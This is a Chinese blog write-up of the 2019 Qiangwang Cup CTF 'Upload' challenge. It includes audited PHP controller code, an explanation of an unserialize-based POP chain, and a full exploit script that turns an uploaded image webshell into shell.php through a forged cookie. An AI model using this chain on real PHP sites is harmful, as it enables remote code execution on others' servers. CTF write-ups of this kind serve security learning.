强网杯-2019-Upload

摘要
代码审计、文件上传、反序列化、文件泄露


首先是注册与登录,登陆后,每个账户可以上传一张头像。

存在upload文件夹,可以看到,头像文件被重命名且拼接解析为.png

文件泄露

鉴于目前的情况……比较困难,对字典、线程、间隔时间的设置有较高的要求……

尝试好多搭配,成功两次,挺玄妙的……

image-20210826211255110

image-20210826211301886

代码审计

image-20210826211351430

mvc

抓包测试时,cookie 中有一个 user。base64后的序列化数据

这个序列化是用来检查登录状态的:

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

通过这个反序列化点构造攻击

文件上传

再来看看个人信息的头像上传:

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

由于参数可控,可以通过控制参数绕过文件名拼接,借助copy将我们绕过上传的图片shell更改为php解析

构建pop链需要入口

反序列化

web应用中的魔法方法:

image-20210826232551939

只有destruct可用

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

调用index方法,可以call

1
2
3
4
5
6
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

动态调用函数,如果可以控制name,就可以调用文件上传

上面就有一个符合条件的get

1
2
3
4
public function __get($name)
{
return $this->except[$name];
}

所有可控

pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace app\web\controller {

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->except['index'] = 'upload_img';
$this->ext = 1;
$this->filename_tmp = '../public/upload/b78934111bc6a120a7957cbc2e531338/6e6a7627c6f6e9e3a95e30d1de17d47c.png';
$this->filename = '../public/upload/b78934111bc6a120a7957cbc2e531338/shell.php';
$this->checker = 0;

}
}

class Register
{
public $checker;
public $registed;
public function __construct()
{
$this->checker = new Profile();
}
}

$a =new Register();
echo base64_encode(serialize($a));
}

登录时将序列化数据写入cookie

image-20210826233218385

连接后在根目录找到flag

参考文章:
参考链接

作者

inanb

发布于

2021-08-26

更新于

2021-08-29

许可协议


:D 一言句子获取中...